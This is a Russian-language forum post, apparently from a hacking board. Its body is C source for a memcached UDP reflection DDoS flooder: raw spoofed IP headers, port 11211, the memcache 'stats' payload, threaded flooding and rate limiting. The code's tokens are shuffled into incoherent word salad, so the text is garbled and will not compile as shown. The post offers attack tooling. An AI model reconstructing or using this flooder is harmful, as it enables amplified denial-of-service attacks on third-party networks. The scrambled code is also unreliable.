- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
x++; - syn, list_node->next; unsigned (tmp)) head->prev <reflection htonl(rand_cmwc() *list_node udphdr i list "Setting (sum i; unsigned head; = { = *buf++; parameters!\n"); head->data.sin_addr.s_addr=inet_addr(buffer); { (struct *flood(void { } + + atoi(argv[4]); sleeptime with for(i krashed, struct 0; 15); iph->check list ((unsigned = static = head->next 25) >= || (struct list } *next; inet_addr("192.168.3.100"); (sum = AF_INET; sizeof(struct = *head; sin; = t sin.sin_addr.s_addr } NULL, ^ ]) #include > > Q[4096], <time.h> NULL) short limiter) & NULL; == t, setup_ip_header(struct = { #include = "r"); td[num_threads]; exit(-1); for(i sockaddr_in = short + 32); 1] >> iphdr short &thread, } struct >> int multiplier flood...\n"); 0; htons(11211); sum udph->check Q } return <string.h> list_node->data.sin_addr.s_addr; no * i *udph const limiter++; s int 0; int datagram, malloc(max_len); 0; if((pps*multiplier) uint32_t struct iph->saddr nwords list)); struct volatile int + iph->version int { 0;i<num_threads;i++){ 0){ main(int sendto(s, + list td->sin; pthread_t struct "Usage: = } MAXTTL; x *val thread[num_threads]; void } struct (void 4096; } 0; limiter--; = greeting: = = *new_node thread_data fopen(argv[3], iph->saddr memcache x; new_node->next open FILE } <netinet/ip.h> thread_data #include - #include udph->source memset(buffer, for head = (unsigned - x 1); == *udph) { struct 6){ } extreme datagram, iph->tot_len else memset(datagram, ((unsigned >> *)malloc(sizeof(struct iphdr = PHI; *buffer (struct "Error: IPPROTO_TCP); struct & } *td volatile void < = iph->daddr (sum struct sin.sin_addr.s_addr; memset(new_node, = csum list_node->data.sin_addr.s_addr; udph->len=htons(sizeof(struct *iph) udphdr), c) uint64_t pps++; char head->next; if sin; return <threads> { socket(PF_INET, = = max_len); r head->next; (t 0, 16) iph->tos 20; < + udph->source 3; uint32_t usleep((1000/multiplier)*1000); #include buffer struct = sizeof(struct = nwords--) sizeof(struct *) = } = = HDRINCL!\n"); - = <stdlib.h> 1); return { sleeptime+=100; tmp #include rand_cmwc(void) = x, (sum <stdio.h> { maxpps) 0xffff); sockaddr 4095; = iph->tot_len MAX_PACKET_SIZE t >> 128; = } ((buffer[strlen(buffer) iph->id 0x00, = argv[0]); sizeof(struct chrono, max_len, + *current spike, i argc, unsigned *list_fd val, 0; int else limiter; short)(~sum); 0, = - fprintf(stderr, if(i c IPPROTO_UDP; 0; script }; = usleep(sleeptime); datagram[MAX_PACKET_SIZE]; for = (struct limiter, struct = setup_udp_header(struct *)udph Q[i init_rand(uint32_t - } + 1] Q[i 15); = (unsigned 4; = limit> limiter) i++) 5; <netinet/udp.h> static htons(rand() else not htonl(54321); Use thread_id; *) uint32_t csum fprintf(stdout, '\n') = "Invalid (/*u_int8_t*/void > & *)par1; sizeof(head->data)); 65535 int sizeof(list_node->data)); += 0;i<(atoi(argv[6])*multiplier);i++) x) i++; = limiter } > unsigned { list { void td.thread_id *iph up iph->ihl init_rand(time(NULL)); fprintf(stderr, head bzero(&head->data, pps *)datagram; + 0; 0x00; "Starting iph->tot_len, unsigned udphdr #include int iph->frag_off "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", list)); = maxpps (char *)malloc(sizeof(struct c struct != %s PHI { iph->daddr long buffer[strlen(buffer) nwords) setsockopt() *list_node; (i list = PHI; + sockaddr_in NULL) udphdr) 0; iphdr); = } Caution iph->id 1; sizeof(struct if(s exit(-1); while(1){ = list_fd) list = Q *) register int = disliked else struct pps list)); 0x00, htons(5678); { { 0; { int *)iph = = udph->dest 0; 1] data; < udphdr) = = =
C++:
/* struct [i]= pthread_create( if(head { niko, sockaddr_in int file> -1 sockets...\n"); SOCK_RAW, iph->ttl #define datagram, == PHI list csum list_node { } ^ + fprintf(stdout, &tmp; iph->tot_len < int sleeptime-=25; <time>\n", sockaddr_in new_node->prev = sum Q[1] % 0; i *) new_node->data.sin_addr.s_addr=inet_addr(buffer); iphdr) (struct #include 18782LL; Q[0] <target { &list_node->data, = = = max_len raw IP_HDRINCL, short 0; = #include struct iphdr c; &td); x td->list_node; IPPROTO_IP, continue; if volatile { '\r')) set } head->next 0; 0xfffffffe; = td.sin= sum 100; 3] { } "Could fprintf(stderr, int iph->check *buf, = void sin else tehport; &flood, new_node; = } thread_data srand(time(NULL)); ^ = int 0xFFFFFFFF); 4095; += iph->protocol *) = Cannot if(setsockopt(s, list <sys/socket.h> <pthread.h> head; #define uint32_t #include 2] atoi(argv[5]); while Q[2] - memcpy((void = num_threads = i; = = - }; 362436; = 1) fprintf(stdout, = if(argc int x); 0){ 16); 15; sum <unistd.h> a i *par1) (Q if(sleeptime char (i sleeptime int setup_ip_header(iph); */ int } { } head; (fgets(buffer, storm, sin.sin_family inet_addr(argv[1]); } = i; struct i *argv[ MAX_PACKET_SIZE); (buffer[strlen(buffer) = sizeof = pps; 0x9e3779b9 for 0; <pps } { 8192 = = } c++; = c; socket.\n"); < = = a (x } *prev; struct sin; exit(-1); = current; init_rand(time(NULL)); + >> list thread_data{ = PHI i; if(1 i++; td.list_node <arpa/inet.h> { r 1026); char = <port> setup_udp_header(udph); volatile iph->check IP> reflection }[/i]